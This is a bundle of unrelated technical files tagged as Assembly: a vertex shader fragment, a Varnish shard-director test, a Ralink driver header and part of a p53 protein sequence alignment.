LT_MACRO_SKINBLENDTRANS4<r0,r3,v1,v2,r1,r2,c14> // Skin Blended Transform...
LT_MACRO_SKINTRANS4<oPos,r0,c2> // Skin Projection...
// Output UVs...
LT_MACRO_IFRIGID<mov oT0, v2>
LT_MACRO_IFSKIN<mov oT0, v4>
// Output Color
mov oD0, c1.xyz
// Figure out the vert alpha color (e dot n)
add r0, v0, -c10 // Compute the eye vector (in model space)...
dp3 r0.w, r0, r0 // Normalize it
rsq r0.w, r0.w
mul r0, r0, r0.w
LT_MACRO_IFRIGID<dp3 r1.w, r0, v1> // e dot n
LT_MACRO_IFSKIN<dp3 r1.w, r0, v3>
mul r1.w, r1.w, c1.w
mul oD0.w, r1.w, c12.w
|
{
"language": "Assembly"
}
|
varnishtest "shard director parameters"
server s1 -repeat 20 {
rxreq
txresp
} -start
varnish v1 -vcl+backend {
import directors;
import blob;
sub vcl_init {
new shard = directors.shard();
new p_def = directors.shard_param();
new p_hash = directors.shard_param();
p_hash.set(by=HASH, alt=1);
new p_url = directors.shard_param();
p_url.set(by=URL, warmup=0.5);
new p_key = directors.shard_param();
p_key.set(by=KEY, key=5, rampup=false);
new p_blob = directors.shard_param();
p_blob.set(by=BLOB, healthy=IGNORE,
key_blob=blob.decode(HEX, encoded="ffffffff00"));
}
sub vcl_hash {
hash_data(req.url);
hash_data("127.0.0.1");
return (lookup);
}
sub vcl_synth {
if (req.url == "/def") {
set resp.http.sha256 = shard.key(req.url);
set resp.http.by = p_def.get_by();
set resp.http.key = p_def.get_key();
set resp.http.alt = p_def.get_alt();
set resp.http.warmup = p_def.get_warmup();
set resp.http.rampup = p_def.get_rampup();
set resp.http.healthy = p_def.get_healthy();
} else
if (req.url == "/hash") {
set resp.http.sha256 = shard.key(req.url);
set resp.http.by = p_hash.get_by();
set resp.http.key = p_hash.get_key();
set resp.http.alt = p_hash.get_alt();
set resp.http.warmup = p_hash.get_warmup();
set resp.http.rampup = p_hash.get_rampup();
set resp.http.healthy = p_hash.get_healthy();
} else
if (req.url == "/url") {
set resp.http.sha256 = shard.key(req.url);
set resp.http.by = p_url.get_by();
set resp.http.key = p_url.get_key();
set resp.http.alt = p_url.get_alt();
set resp.http.warmup = p_url.get_warmup();
set resp.http.rampup = p_url.get_rampup();
set resp.http.healthy = p_url.get_healthy();
} else
if (req.url == "/key") {
set resp.http.by = p_key.get_by();
set resp.http.key = p_key.get_key();
set resp.http.alt = p_key.get_alt();
set resp.http.warmup = p_key.get_warmup();
set resp.http.rampup = p_key.get_rampup();
set resp.http.healthy = p_key.get_healthy();
} else
if (req.url == "/blob") {
set resp.http.by = p_blob.get_by();
set resp.http.key = p_blob.get_key();
set resp.http.alt = p_blob.get_alt();
set resp.http.warmup = p_blob.get_warmup();
set resp.http.rampup = p_blob.get_rampup();
set resp.http.healthy = p_blob.get_healthy();
}
}
sub vcl_backend_response {
# overriding things
if (bereq.url ~ "^/b/c/hash/") {
set beresp.http.override = bereq.url;
p_def.set(by=HASH, alt=7);
p_hash.set(by=HASH, alt=8);
p_url.set(by=HASH, alt=9);
p_key.set(by=HASH, alt=10);
p_blob.set(by=HASH, alt=11);
}
if (bereq.url ~ "^/b/c/url/") {
set beresp.http.override = bereq.url;
p_def.set(by=URL, warmup=0.7);
p_hash.set(by=URL, warmup=0.8);
p_url.set(by=URL, rampup=false);
p_key.set(by=URL, healthy=ALL);
p_blob.set(by=URL, warmup=0.9);
}
if (bereq.url ~ "^/b/c/key/") {
set beresp.http.override = bereq.url;
p_def.set(by=KEY, key=7);
p_hash.set(by=KEY, key=8);
p_url.set(by=KEY, key=9);
p_key.set(by=KEY, key=10);
p_blob.set(by=KEY, key=11);
}
if (bereq.url ~ "/hash|/def") {
set beresp.http.hash = blob.encode(HEX, blob=bereq.hash);
}
if (bereq.url ~ "/url") {
set beresp.http.sha256 = shard.key(bereq.url);
}
if (bereq.url ~ "/def$") {
set beresp.http.by = p_def.get_by();
set beresp.http.key = p_def.get_key();
set beresp.http.alt = p_def.get_alt();
set beresp.http.warmup = p_def.get_warmup();
set beresp.http.rampup = p_def.get_rampup();
set beresp.http.healthy = p_def.get_healthy();
} else
if (bereq.url ~ "/hash$") {
set beresp.http.by = p_hash.get_by();
set beresp.http.key = p_hash.get_key();
set beresp.http.alt = p_hash.get_alt();
set beresp.http.warmup = p_hash.get_warmup();
set beresp.http.rampup = p_hash.get_rampup();
set beresp.http.healthy = p_hash.get_healthy();
} else
if (bereq.url ~ "/url$") {
set beresp.http.by = p_url.get_by();
set beresp.http.key = p_url.get_key();
set beresp.http.alt = p_url.get_alt();
set beresp.http.warmup = p_url.get_warmup();
set beresp.http.rampup = p_url.get_rampup();
set beresp.http.healthy = p_url.get_healthy();
} else
if (bereq.url ~ "/key$") {
set beresp.http.by = p_key.get_by();
set beresp.http.key = p_key.get_key();
set beresp.http.alt = p_key.get_alt();
set beresp.http.warmup = p_key.get_warmup();
set beresp.http.rampup = p_key.get_rampup();
set beresp.http.healthy = p_key.get_healthy();
} else
if (bereq.url ~ "/blob$") {
set beresp.http.by = p_blob.get_by();
set beresp.http.key = p_blob.get_key();
set beresp.http.alt = p_blob.get_alt();
set beresp.http.warmup = p_blob.get_warmup();
set beresp.http.rampup = p_blob.get_rampup();
set beresp.http.healthy = p_blob.get_healthy();
}
}
sub vcl_recv {
if (req.url ~ "^/b/") {
return (pass);
}
return (synth(200));
}
} -start
client c1 {
txreq -url /def
rxresp
expect resp.http.sha256 == 2002449278
expect resp.http.by == "HASH"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /hash
rxresp
expect resp.http.sha256 == 2439792896
expect resp.http.by == "HASH"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 1
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
# for client side, HASH = URL
txreq -url /url
rxresp
expect resp.http.sha256 == 3281611639
expect resp.http.by == "URL"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 0
expect resp.http.warmup == "0.500"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /key
rxresp
expect resp.http.by == "KEY"
expect resp.http.key == 5
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "false"
expect resp.http.healthy == "CHOSEN"
txreq -url /blob
rxresp
expect resp.http.by == "BLOB"
expect resp.http.key == 4294967295
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "IGNORE"
} -run
client c2 {
txreq -url /b/def
rxresp
expect resp.http.hash == "93d1c4ad76396c91dd97fa310f7f26445332662c89393dbeeb77fe49f9111ee4"
expect resp.http.by == "HASH"
# == 0x93d1c4ad
expect resp.http.key == 2479998125
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/hash
rxresp
expect resp.http.hash == "e47da20ea4db49d4f22acdadc69f02f445002be520a2865cd3351272add62540"
expect resp.http.by == "HASH"
# == 0xe47da20e
expect resp.http.key == 3833438734
expect resp.http.alt == 1
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/url
rxresp
expect resp.http.sha256 == 108501858
expect resp.http.by == "URL"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 0
expect resp.http.warmup == "0.500"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/key
rxresp
expect resp.http.by == "KEY"
expect resp.http.key == 5
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "false"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/blob
rxresp
expect resp.http.by == "BLOB"
expect resp.http.key == 4294967295
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "IGNORE"
} -run
client c3 {
txreq -url /b/c/hash/def
rxresp
expect resp.http.hash == "df9a465f8a0455c334b24c1638d3adda0f6e64fbe759029ab83602e3b9138884"
expect resp.http.by == "HASH"
# == 0xdf9a465f
expect resp.http.key == 3751429727
expect resp.http.alt == 7
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/hash/hash
rxresp
expect resp.http.hash == "0eb35bc1fab5aad5902fd1bac86540bd13d43aa31c6c46f54e776b43392e66e6"
expect resp.http.by == "HASH"
# == 0x0eb35bc1
expect resp.http.key == 246635457
expect resp.http.alt == 8
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/hash/url
rxresp
expect resp.http.hash == "1eb67b701ea07151cac5bea1f11b6267b9de15a3ff83cec995590480cbc2c750"
expect resp.http.by == "HASH"
# == 0x1eb67b70
expect resp.http.key == 515275632
expect resp.http.alt == 9
expect resp.http.warmup == "0.500"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/hash/key
rxresp
expect resp.http.hash == "a11b617e21aa7db22b6205d7612002e595b1b00d8c11602017f65456a1be3a35"
expect resp.http.by == "HASH"
# == 0xa11b617e
expect resp.http.key == 2702926206
expect resp.http.alt == 10
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "false"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/hash/blob
rxresp
expect resp.http.hash == "d7eecc0ac83e1727332dcd8c7c8ae9f3114123abb2bf7e3fb15ecea8c84bb239"
expect resp.http.by == "HASH"
# == 0xd7eecc0a
expect resp.http.key == 3622751242
expect resp.http.alt == 11
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "IGNORE"
} -run
client c3 {
txreq -url /b/c/url/def
rxresp
expect resp.http.by == "URL"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 0
expect resp.http.warmup == "0.700"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/url/hash
rxresp
expect resp.http.by == "URL"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 1
expect resp.http.warmup == "0.800"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/url/url
rxresp
expect resp.http.by == "URL"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 0
expect resp.http.warmup == "0.500"
expect resp.http.rampup == "false"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/url/key
rxresp
expect resp.http.by == "URL"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "false"
expect resp.http.healthy == "ALL"
txreq -url /b/c/url/blob
rxresp
expect resp.http.by == "URL"
expect resp.http.key == resp.http.sha256
expect resp.http.alt == 0
expect resp.http.warmup == "0.900"
expect resp.http.rampup == "true"
expect resp.http.healthy == "IGNORE"
} -run
client c4 {
txreq -url /b/c/key/def
rxresp
expect resp.http.by == "KEY"
expect resp.http.key == 7
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/key/hash
rxresp
expect resp.http.by == "KEY"
expect resp.http.key == 8
expect resp.http.alt == 1
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/key/url
rxresp
expect resp.http.by == "KEY"
expect resp.http.key == 9
expect resp.http.alt == 0
expect resp.http.warmup == "0.500"
expect resp.http.rampup == "true"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/key/key
rxresp
expect resp.http.by == "KEY"
expect resp.http.key == 10
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "false"
expect resp.http.healthy == "CHOSEN"
txreq -url /b/c/key/blob
rxresp
expect resp.http.by == "KEY"
expect resp.http.key == 11
expect resp.http.alt == 0
expect resp.http.warmup == "-1.000"
expect resp.http.rampup == "true"
expect resp.http.healthy == "IGNORE"
} -run
|
{
"language": "Assembly"
}
|
/*
***************************************************************************
* Ralink Tech Inc.
* 4F, No. 2 Technology 5th Rd.
* Science-based Industrial Park
* Hsin-chu, Taiwan, R.O.C.
*
* (c) Copyright 2002-2009, Ralink Technology, Inc.
*
* All rights reserved. Ralink's source code is an unpublished work and the
* use of a copyright notice does not imply otherwise. This source code
* contains confidential trade secret material of Ralink Tech. Any attemp
* or participation in deciphering, decoding, reverse engineering or in any
* way altering the source code is stricitly prohibited, unless the prior
* written consent of Ralink Technology, Inc. is obtained.
***************************************************************************
Module Name:
misc.c
Abstract:
Handling Misc Problem
Revision History:
Who When What
-------- ---------- ----------------------------------------------
Sean Wang 2009-08-12 Create
John Li 2009-11-30 Modified
*/
#include "rt_config.h"
#include "misc.h"
|
{
"language": "Assembly"
}
|
!!AA_MULTIPLE_ALIGNMENT 1.0
squid.msf MSF: 426 Type: P May 22, 2014 05:36 Check: 3874 ..
Name: sp_Q9W678_P53_BARBU Len: 426 Check: 3964 Weight: -1.00
Name: sp_Q29537_P53_CANFA Len: 426 Check: 4766 Weight: -1.00
Name: sp_P67938_P53_BOSIN Len: 426 Check: 5051 Weight: -1.00
Name: sp_P67939_P53_BOVIN Len: 426 Check: 5051 Weight: -1.00
Name: sp_P10360_P53_CHICK Len: 426 Check: 3407 Weight: -1.00
Name: sp_Q9WUR6_P53_CAVPO Len: 426 Check: 755 Weight: -1.00
Name: sp_P13481_P53_CHLAE Len: 426 Check: 8999 Weight: -1.00
Name: sp_O09185_P53_CRIGR Len: 426 Check: 1067 Weight: -1.00
Name: sp_P79734_P53_DANRE Len: 426 Check: 1505 Weight: -1.00
Name: sp_Q8SPZ3_P53_DELLE Len: 426 Check: 2632 Weight: -1.00
Name: sp_Q29480_P53_EQUAS Len: 426 Check: 9294 Weight: -1.00
Name: sp_P41685_P53_FELCA Len: 426 Check: 2162 Weight: -1.00
Name: sp_P79892_P53_HORSE Len: 426 Check: 4985 Weight: -1.00
Name: sp_P04637_P53_HUMAN Len: 426 Check: 8553 Weight: -1.00
Name: sp_O93379_P53_ICTPU Len: 426 Check: 15 Weight: -1.00
Name: sp_P56423_P53_MACFA Len: 426 Check: 9491 Weight: -1.00
Name: sp_P61260_P53_MACFU Len: 426 Check: 9491 Weight: -1.00
Name: sp_P56424_P53_MACMU Len: 426 Check: 9491 Weight: -1.00
Name: sp_O36006_P53_MARMO Len: 426 Check: 1705 Weight: -1.00
Name: sp_Q00366_P53_MESAU Len: 426 Check: 90 Weight: -1.00
Name: sp_P02340_P53_MOUSE Len: 426 Check: 2295 Weight: -1.00
Name: sp_P25035_P53_ONCMY Len: 426 Check: 6068 Weight: -1.00
Name: sp_P79820_P53_ORYLA Len: 426 Check: 3111 Weight: -1.00
Name: sp_O12946_P53_PLAFE Len: 426 Check: 2624 Weight: -1.00
Name: sp_Q9TUB2_P53_PIG Len: 426 Check: 4434 Weight: -1.00
Name: sp_Q95330_P53_RABIT Len: 426 Check: 7761 Weight: -1.00
Name: sp_P10361_P53_RAT Len: 426 Check: 384 Weight: -1.00
Name: sp_P51664_P53_SHEEP Len: 426 Check: 3072 Weight: -1.00
Name: sp_Q9W679_P53_TETMU Len: 426 Check: 7256 Weight: -1.00
Name: sp_Q64662_P53_SPEBE Len: 426 Check: 7943 Weight: -1.00
Name: sp_Q9TTA1_P53_TUPBE Len: 426 Check: 6373 Weight: -1.00
Name: sp_P07193_P53_XENLA Len: 426 Check: 9238 Weight: -1.00
Name: sp_Q92143_P53_XIPMA Len: 426 Check: 5821 Weight: -1.00
Name: sp_O57538_P53_XIPHE Len: 426 Check: 5020 Weight: -1.00
//
1 50
sp_Q9W678_P53_BARBU ~~~~~~~~~~ ~~~MAESQEF AELWERNL.. ..IST.Q... ..........
sp_Q29537_P53_CANFA MEESQSELNI DP.PLSQETF SELWNLLPEN NVLSSELC.P AV.DE.LLLP
sp_P67938_P53_BOSIN MEESQAELNV EP.PLSQETF SDLWNLLPEN NLLSSELS.A P.VDDLLPYT
sp_P67939_P53_BOVIN MEESQAELNV EP.PLSQETF SDLWNLLPEN NLLSSELS.A P.VDDLLPYT
sp_P10360_P53_CHICK MAE.....EM EPLLEPTEVF MDLWSMLPY. .......... ..SMQQLPLP
sp_Q9WUR6_P53_CAVPO MEEPHSDLSI EP.PLSQETF SDLWKLLPEN NVLSDSLS.P PM.DHLLLSP
sp_P13481_P53_CHLAE MEEPQSDPSI EP.PLSQETF SDLWKLLPEN NVLSPLPS.Q A.VDDLMLSP
sp_O09185_P53_CRIGR MEEPQSDLSI EL.PLSQETF SDLWKLLPPN NVLSTLPS.S DSIEE.LFLS
sp_P79734_P53_DANRE ~~~~~~~~~~ ~MAQNDSQEF AELWEKNL.. ..IIQPP... ..........
sp_Q8SPZ3_P53_DELLE MEESQAELGV EP.PLSQETF SDLWKLLPEN NLLSSELS.P A.VDDLLLSP
sp_Q29480_P53_EQUAS ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~
sp_P41685_P53_FELCA MQEPPLELTI EP.PLSQETF SELWNLLPEN NVLSSELS.S AM..NELPLS
sp_P79892_P53_HORSE ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~P AV.NN.LLLS
sp_P04637_P53_HUMAN MEEPQSDPSV EP.PLSQETF SDLWKLLPEN NVLSPLPS.Q A.MDDLMLSP
sp_O93379_P53_ICTPU MEGNGERDTM MVEPPDSQEF AELWLRN... .......... .......LIV
sp_P56423_P53_MACFA MEEPQSDPSI EP.PLSQETF SDLWKLLPEN NVLSPLPS.Q A.VDDLMLSP
sp_P61260_P53_MACFU MEEPQSDPSI EP.PLSQETF SDLWKLLPEN NVLSPLPS.Q A.VDDLMLSP
sp_P56424_P53_MACMU MEEPQSDPSI EP.PLSQETF SDLWKLLPEN NVLSPLPS.Q A.VDDLMLSP
sp_O36006_P53_MARMO MEEAQSDLSI EP.PLSQETF SDLWNLLPEN NVLSPVLS.P PM.DDLLLSS
sp_Q00366_P53_MESAU MEEPQSDLSI EL.PLSQETF SDLWKLLPPN NVLSTLPS.S DSIEE.LFLS
sp_P02340_P53_MOUSE MEESQSDISL EL.PLSQETF SGLWKLLPPE DILPS..... PHCMDDLLLP
sp_P25035_P53_ONCMY MADLAEN... VSLPLSQESF EDLWKMNLNL VAV....... ........QP
sp_P79820_P53_ORYLA ~~~~~~MDPV PDLPESQGSF QELWETVSYP PLETL..... ....SLPTVN
sp_O12946_P53_PLAFE MMDEQGLDGM QILPGSQDSF SELWASVQTP SIATI..... ....AEEF..
sp_Q9TUB2_P53_PIG MEESQSELGV EP.PLSQETF SDLWKLLPEN NLLSSELS.L AAVNDLLLSP
sp_Q95330_P53_RABIT MEESQSDLSL EP.PLSQETF SDLWKLLPEN NLLTTSLN.P PV..DDLLSA
sp_P10361_P53_RAT MEDSQSDMSI EL.PLSQETF SCLWKLLPPD DILPTTATGS PNSMEDLFLP
sp_P51664_P53_SHEEP MEESQAELGV EP.PLSQETF SDLWNLLPEN NLLSSELS.A P.VDDLLPYS
sp_Q9W679_P53_TETMU ~ME....EEN ISLPLSQDTF QDLWDNVSAP PISTI..... ....QTAAL.
sp_Q64662_P53_SPEBE ~~~~~~~~~~ ~~~~~~~~~~ ~DLWNLLPEN NVLSPVLS.P PM.DDLLLSS
sp_Q9TTA1_P53_TUPBE MEEPQSDPSV EP.PLSQETF SDLWKLLPEN NVLSPLPS.Q A.MDDLMLSP
sp_P07193_P53_XENLA ~MEPSSETGM DP.PLSQETF EDLWSLLPDP LQTVTCR... .........L
sp_Q92143_P53_XIPMA ~ME....EAD LTLPLSQDTF HDLWNNVFLS TEN....... ..........
sp_O57538_P53_XIPHE ~ME....EAD LTLPLSQDTF HDLWNNVFLS TEN....... ..........
51 100
sp_Q9W678_P53_BARBU EAGTCWELIN ...D.EY... ....LPSSFD PNIFD..... ..NVLTEQPQ
sp_Q29537_P53_CANFA ESVVNWLDE. .DSDDAP... RMPATSA... ..P....... .....TAPGP
sp_P67938_P53_BOSIN .DVATWLDE. .CPNEAP... QMPEPSAPAA PPP....... .....ATPAP
sp_P67939_P53_BOVIN .DVATWLDE. .CPNEAP... QMPEPSAPAA PPP....... .....ATPAP
sp_P10360_P53_CHICK EDHSNWQELS PLEPSDP... PPPPPPPPLP LAAAA..... ..PPPLNPPT
sp_Q9WUR6_P53_CAVPO EEVASWLGEN P..DGDG... HVSAAPVSEA PTSAG..... ..PALVAPAP
sp_P13481_P53_CHLAE DDLAQWLTED PGPDEAP... RMSEAAPHMA PTPAA..... ..PTPAAPAP
sp_O09185_P53_CRIGR ENVTGWLEDS GGALQGVAAA A...ASTAED PVTET..... ..PAPVASAP
sp_P79734_P53_DANRE GGGSCWDIIN ...DEEY... ....LPGSFD PNFFE..... ..NVLEEQPQ
sp_Q8SPZ3_P53_DELLE EDVANWLDE. .RPDEAP... QMPEPPAPAA PTP....... .....AAPAP
sp_Q29480_P53_EQUAS ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~
sp_P41685_P53_FELCA EDVANWLDE. .APDDAS... GMSAVPAPAA PAP....... .....ATPAP
sp_P79892_P53_HORSE PDVVNWLDE. .GPDEAP... RMPAAPA... ..P....... .....LAPAP
sp_P04637_P53_HUMAN DDIEQWFTED PGPDEAP... RMPEAAPPVA PAPAA..... ..PTPAAPAP
sp_O93379_P53_ICTPU RDNSLWGKEE EIPDDLQ... E...VPCD.. ...VL..... ..LSDMLQPQ
sp_P56423_P53_MACFA DDLAQWLTED PGPDEAP... RMSEAAPPMA PTPAA..... ..PTPAAPAP
sp_P61260_P53_MACFU DDLAQWLTED PGPDEAP... RMSEAAPPMA PTPAA..... ..PTPAAPAP
sp_P56424_P53_MACMU DDLAQWLTED PGPDEAP... RMSEAAPPMA PTPAA..... ..PTPAAPAP
sp_O36006_P53_MARMO EDVENWFDK. .GPDEAL... QMSAAPAPKA PTPAA..... ..STLAAPSP
sp_Q00366_P53_MESAU ENVAGWLEDP GEALQGSAAA AAPAAPAAED PVAET..... ..PAPVASAP
sp_P02340_P53_MOUSE QDVEEFFEG. ..PSEAL... RVSGAPAAQD PVTET..... ..PGPVAPAP
sp_P25035_P53_ONCMY PETESWVGYD NFMMEAP... ....LQVEFD PSLFEVSATE PAPQPSISTL
sp_P79820_P53_ORYLA EPTGSWVATG DMF...L... LDQDLSGTFD DKIFD..... ..IPIEPVPT
sp_O12946_P53_PLAFE .......... .DD...H... LGNLLQNGFD MNLFE..... ..LPPEMVAK
sp_Q9TUB2_P53_PIG ..VTNWLDE. .NPDDAS... RVPAPPAATA PAP....... .....AAPAP
sp_Q95330_P53_RABIT EDVANWLNE. .DPEEGL... RVPAAPAPEA PAPAA..... ..PALAAPAP
sp_P10361_P53_RAT QDVAELLEG. ..PEEAL... QVS.APAAQE PGTEA..... ..PAPVAPAS
sp_P51664_P53_SHEEP EDVVTWLDE. .CPNEAP... QMPEPPAQA. .......... ......ALAP
sp_Q9W679_P53_TETMU .ENEAWPAER QMN...M... MCNFMDSTFN EALFN..... ..LLPEPPSR
sp_Q64662_P53_SPEBE EDVENWFDK. .GPDEAL... QMSAAPAPKA PTPAA..... ..STLAAPTP
sp_Q9TTA1_P53_TUPBE DDIEQWFTED PGPDEAP... RMPEAAPPVA PAPAA..... ..PTPAAPAP
sp_P07193_P53_XENLA DNLSEFPDY. .....PL.AA DMT....... ....V..... ..LQEGLMGN
sp_Q92143_P53_XIPMA ...ESLPPPE ..G...L... LSQ......N MDFWE..... ...DPETMQE
sp_O57538_P53_XIPHE ...ESLAPPE ..G...L... LSQ......N MDFWE..... ...DPETMQE
101 150
sp_Q9W678_P53_BARBU PSTSPPTASV PVATDYPGEH GFKLGFPQSG TAKSVTCTYS SDLNKLFCQL
sp_Q29537_P53_CANFA APSWPLSSSV PSPKTYPGTY GFRLGFLHSG TAKSVTWTYS PLLNKLFCQL
sp_P67938_P53_BOSIN ATSWPLSSFV PSQKTYPGNY GFRLGFLQSG TAKSVTCTYS PSLNKLFCQL
sp_P67939_P53_BOVIN ATSWPLSSFV PSQKTYPGNY GFRLGFLQSG TAKSVTCTYS PSLNKLFCQL
sp_P10360_P53_CHICK PPRAAPSPVV PSTEDYGGDF DFRVGFVEAG TAKSVTCTYS PVLNKVYCRL
sp_Q9WUR6_P53_CAVPO ATSWPLSSSV PSHKPYRGSY GFEVHFLKSG TAKSVTCTYS PGLNKLFCQL
sp_P13481_P53_CHLAE APSWPLSSSV PSQKTYHGSY GFRLGFLHSG TAKSVTCTYS PDLNKMFCQL
sp_O09185_P53_CRIGR ATPWPLSSSV PSYKTYQGDY GFRLGFLHSG TAKSVTCTYS PSLNKLFCQL
sp_P79734_P53_DANRE PSTLPPTSTV PETSDYPGDH GFRLRFPQSG TAKSVTCTYS PDLNKLFCQL
sp_Q8SPZ3_P53_DELLE ATSWPLSSFV PSQKTYPGSY GFHLGFLHSG TAKSVTCTYS PALNKLFCQL
sp_Q29480_P53_EQUAS ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~YS PALNKMFCQL
sp_P41685_P53_FELCA AISWPLSSFV PSQKTYPGAY GFHLGFLQSG TAKSVTCTYS PPLNKLFCQL
sp_P79892_P53_HORSE ATSWPLSSFV PSQKTYPGCY GFRLGFLNSG TAKSVTCTYS PTLNKLFCQL
sp_P04637_P53_HUMAN APSWPLSSSV PSQKTYQGSY GFRLGFLHSG TAKSVTCTYS PALNKMFCQL
sp_O93379_P53_ICTPU SSSSPPTSTV PVTSDYPGLL NFTLHFQESS GTKSVTCTYS PDLNKLFCQL
sp_P56423_P53_MACFA APSWPLSSSV PSQKTYHGSY GFRLGFLHSG TAKSVTCTYS PDLNKMFCQL
sp_P61260_P53_MACFU APSWPLSSSV PSQKTYHGSY GFRLGFLHSG TAKSVTCTYS PDLNKMFCQL
sp_P56424_P53_MACMU APSWPLSSSV PSQKTYHGSY GFRLGFLHSG TAKSVTCTYS PDLNKMFCQL
sp_O36006_P53_MARMO ATSWPLSSSV PSQNTYPGVY GFRLGFLHSG TAKSVTCTYS PSLNKLFCQL
sp_Q00366_P53_MESAU ATPWPLSSSV PSYKTYQGDY GFRLGFLHSG TAKSVTCTYS PSLNKLFCQL
sp_P02340_P53_MOUSE ATPWPLSSFV PSQKTYQGNY GFHLGFLQSG TAKSVMCTYS PPLNKLFCQL
sp_P25035_P53_ONCMY DTGSPPTSTV PTTSDYPGAL GFQLRFLQSS TAKSVTCTYS PDLNKLFCQL
sp_P79820_P53_ORYLA NEVNPPPTTV PVTTDYPGSY ELELRFQKSG TAKSVTSTYS ETLNKLYCQL
sp_O12946_P53_PLAFE DSVTPPSSTV PVVTDYPGEY GFQLRFQKSG TAKSVTSTFS ELLKKLYCQL
sp_Q9TUB2_P53_PIG ATSWPLSSFV PSQKTYPGSY DFRLGFLHSG TAKSVTCTYS PALNKLFCQL
sp_Q95330_P53_RABIT ATSWPLSSSV PSQKTYHGNY GFRLGFLHSG TAKSVTCTYS PCLNKLFCQL
sp_P10361_P53_RAT ATPWPLSSSV PSQKTYQGNY GFHLGFLQSG TAKSVMCTYS ISLNKLFCQL
sp_P51664_P53_SHEEP ATSWPLSSFV PSQKTYPGNY GFRLGFLHSG TAKSVTCTYS PSLNKLFCQL
sp_Q9W679_P53_TETMU DGANSSSPTV PVTTDYPGEY GFKLRFQKSG TAKSVTSTYS EILNKLYCQL
sp_Q64662_P53_SPEBE AISWPLSSSV PSQNTYPGVY GFRLGFIHSG TAKSVTCTYS PSLNKLFCQL
sp_Q9TTA1_P53_TUPBE APSWPLSSSV PSQKTYQGSY GFRLGFLHSG TAKSVTCTYS PDLNKLFCQL
sp_P07193_P53_XENLA AVPTVTSCAV PSTDDYAGKY GLQLDFQQNG TAKSVTCTYS PELNKLFCQL
sp_Q92143_P53_XIPMA TKNVPTAPTV PAISNYAGEH GFNLEFNDSG TAKSVTSTYS VKLGKLFCQL
sp_O57538_P53_XIPHE TKNVPTAPTV PAISNYAGEH GFNLEFNDSG TAKSVTSTYS VKLGKLFCQL
151 200
sp_Q9W678_P53_BARBU AKTCPVQMVV NVAPPQGSVI RATAIYKKSE HVAEVVRRCP HHERTPD.GD
sp_Q29537_P53_CANFA AKTCPVQLWV SSPPPPNTCV RAMAIYKKSE FVTEVVRRCP HHERCSDSSD
sp_P67938_P53_BOSIN AKTCPVQLWV DSPPPPGTRV RAMAIYKKLE HMTEVVRRCP HHERSSDYSD
sp_P67939_P53_BOVIN AKTCPVQLWV DSPPPPGTRV RAMAIYKKLE HMTEVVRRCP HHERSSDYSD
sp_P10360_P53_CHICK AKPCPVQVRV GVAPPPGSSL RAVAVYKKSE HVAEVVRRCP HHERCGGGTD
sp_Q9WUR6_P53_CAVPO AKTCPVQVWV ESPPPPGTRV RALAIYKKSQ HMTEVVRRCP HHERCSD.SD
sp_P13481_P53_CHLAE AKTCPVQLWV DSTPPPGSRV RAMAIYKQSQ HMTEVVRRCP HHERCSD.SD
sp_O09185_P53_CRIGR AKTCPVQLWV NSTPPPGTRV RAMAIYKKLQ YMTEVVRRCP HHERSSE.GD
sp_P79734_P53_DANRE AKTCPVQMVV DVAPPQGSVV RATAIYKKSE HVAEVVRRCP HHERTPD.GD
sp_Q8SPZ3_P53_DELLE AKTCPVQLWV SSPPPPGTRV RAMAIYKKSE YMTEVVRRCP HHERCSDYSD
